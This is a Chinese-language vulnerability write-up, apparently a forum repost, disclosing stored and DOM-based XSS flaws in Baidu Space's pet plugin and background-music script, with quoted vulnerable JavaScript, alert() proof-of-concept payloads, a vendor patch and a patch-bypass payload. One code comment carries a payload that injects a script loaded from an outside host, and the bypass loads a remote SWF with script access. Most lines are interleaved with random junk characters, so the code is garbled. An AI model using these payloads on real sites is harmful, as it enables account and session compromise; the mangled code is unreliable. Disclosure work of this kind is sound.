百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 1 ?4 d3 S# G7 D2 h9 e
, f1 J# {, T" j
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
b" e: j" o2 d8 Y, z2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
}7 \* D: L! ~* M# M* C
* V4 r; ^5 E+ `. t f4 {* U( m& ?/ @将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> # m: Q4 b; c, Z! n- @9 f
其中BdUtil.insertWBR为 y3 r' E/ ~9 v8 |' a
function(text, step) { I3 ^8 V7 F0 R
var textarea = textAreaCache || getContainer();
5 T/ a) W3 e4 R( I, \6 E if (!textarea) { / R- w! ]9 x f% S
return text; 8 e: M5 H& G7 J8 Y; d7 ~
}
5 }7 z2 H! `1 r, y$ M) R* q, b textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); % k+ H& ]# _6 r1 p: f/ I
var string = textarea.value;
$ f8 o9 R" Y% F& _# O" G- w) I var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ; Z ^' E% e2 f+ m1 O3 z8 N
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); & C4 I# h1 ]9 ]; v; O( p$ ^
return result; ' ~7 e: z. N: |. `0 I
}
8 t8 z$ F. ?) [$ h" Y% w在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
* t" O( @2 G4 q2 h5 }# y+ S测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
; L5 k1 F/ r5 z# ^' P
5 @! s; a2 B" j! q& Z- Q' w二:creatbgmusic() Dom-Xss Bug
3 b7 [; _4 ?( h2 k! v# H, \" c百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 / h) m' Q6 s: o; y
9 {. B* O# C/ s o9 n
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
" I% O' l8 |9 e9 X* p, s! g: u1 m2 v9 b- }3 Q+ \
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
2 e( C, ?( `2 D4 N3 x5 u; O) v6 I //传入的murl赋值到bgmusic1和bgmusic2中
8 c! L1 `, {: e% u' V4 c4 N3 M //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 " |9 Y) c! e& n" I* B/ K, o) H9 W ^! a
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
. f+ q' }- I- } if (musicnum <= 1) {
# h$ r4 [! e* l4 a bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 8 Y' L A8 i$ z* u, P
}
( y" m# d- g y# \ bgmusic1 += "</OBJECT>";
6 Q, g* X$ L6 [" `4 f; ^ var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; : v$ o- d3 R9 f8 Y
if (musicnum <= 1) { * L. m; n8 H3 T( K& [ U: ^
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 7 [4 f4 s' E" c9 y
} * Q3 s# W2 t" w6 V& {
bgmusic2 += "> </EMBED>";
+ E9 L* o8 I z; B var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; : M# h# A: j1 u; R
var bgmus = detectWMP(); 0 \/ U" U9 S$ P. |3 a# V
if (functype == "FckMusicHelper") { & c; z/ v; g- R2 W- l0 `( w
if (bgmus.installed) { & {" @8 v+ j7 `4 M
if (bgmus.type == "IE") {
1 \: c5 g, q, b! u& I return bgmusic1; 7 R; ?' C6 }5 ~4 ^/ k; |
} else if (bgmus.type == "NS") {
' c- p1 t3 U0 k! l return bgmusic2;
6 B8 N. R" r2 u F9 h$ U! i T/ r }
5 z# h ?* B- G } else { ! b6 w, @6 N O5 c+ t6 B, M
return bgmusic3;
& I, x0 [. @4 u; [ }
8 p2 m/ f, A6 C8 M% [5 \ } else { / s$ G* f8 V: I) l" k( D8 U. d% E
if (bgmus.installed) { + A0 Q# Y# o2 i) g
//document.write 直接输出bgmusic变量 导致xss : a1 _4 Z# O3 K, Y1 u0 Y0 j
if (bgmus.type == "IE") { + w+ B7 e% I A" t# {
document.write(bgmusic1);
* u5 A9 n' j: H; m } else if (bgmus.type == "NS") { ! m/ g" d/ k' ]# z+ g
document.write(bgmusic2); + C' ]) Q) e n q6 X% y# C
}
1 c8 E5 B9 p- B8 ]$ [' M } else { 9 U: J4 [1 i- C0 e/ u. T+ n
document.write(bgmusic3); $ B. t. o! ~% p; H
}
6 L! ]* F+ J4 B( |! v) y return ""; & l" ~3 y: ~. k- a2 O
}
. b* r) }$ _ |! Q s} / z4 {/ j) J7 [/ |. F1 Q+ Y; {
+ `$ u2 P7 K% D* w* n5 C- t
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 5 H; i6 C' d# R" ]
7 A3 v4 j' G- }; w2 v$ A) q" u/ }
function initBlogTextForFCK(){ % z; E2 ?% E2 q+ O- ]' {& F* a1 s
//fck init music
x! K% ~: a! u8 |2 Jif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
7 ^( q4 j5 u) Q& e% |var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 0 ^; ` t5 m* t5 S
var isAutoPlay=true;
1 D, x3 Z. Q* t" x9 H( i. u9 ffor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
1 i+ D8 b7 m& |, k* [" y( ^: e$ K var img=imgBox; ( ~) E: ^( g! b
if(img.getAttribute(’rel’)){ " f0 o8 R# \6 ^, {4 q2 a/ U$ l
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc N) f; D; S& t9 L1 _
var musicDiv = document.createElement("SPAN"); & ~/ a' h% p' C# i- O: E4 E k0 I8 R
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
( @2 U8 s- S0 H/ h 1 @+ V* D, G! y" Z8 _
.......................... - k3 F- B0 w& Z9 g; J1 L
6 \* _! \3 W4 O8 M //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. ( I$ N6 n! O) y5 P
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 1 o0 s* y0 a; Y" I
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
) c( H- m! W: _& e7 h# @6 i musicDiv.innerHTML=shtml;
: J4 x. ]0 T, W6 E1 W& \1 [ i--;n--;
$ R3 n3 k9 j0 b" {1 S }
( r5 z3 z! D3 `, r. Q9 ^} $ q l6 m: X. J6 I2 r8 W
* _' Y ? x7 l8 T1 h! i从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ( P7 n# s. b# j$ R8 w/ J% j
; ^" C( q3 A, \, o2 ]+ B, A
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> $ ]$ [: D- G3 L' m# i
' g6 b2 g+ G% m- z+ o等待官方补丁 2 n. y! U& F6 |+ l$ p
u J, k4 |4 x* `! y. b
update 2010年5月13日 8 q9 d8 T0 d3 W C h3 O1 s" I* I/ v
6 U7 o3 n$ \8 A) [- u7 o官方补丁:
! I6 ]# X/ m7 ?9 O5 [
# T' t7 ^$ N: m- t, H4 Fvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
7 U: J0 W a! S" m9 Y改为:
. J# B5 S( r d) L4 `/ \# ~var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
/ v# B5 l( r" ?( r* U Q4 Z/ M6 }2 \
update 2010年5月13日 21:50:37
1 z1 l" h$ R4 \# k
& y& B' b5 R8 p: b% x5 P# i补丁存在漏洞 没有过滤" 可以继续跨: - {1 X# d& L' F# J6 i
' d4 D' \- a% P5 h/ b/ [NEW POC:
4 w7 y* c# }! m, I+ S: o; Z; @9 m
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" + ~3 w4 z& [2 s/ V
" S8 d0 j, s! | Y9 l+ y& F* Y
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
. R( |$ X# x" D
) G2 q$ J1 `) q, }" F |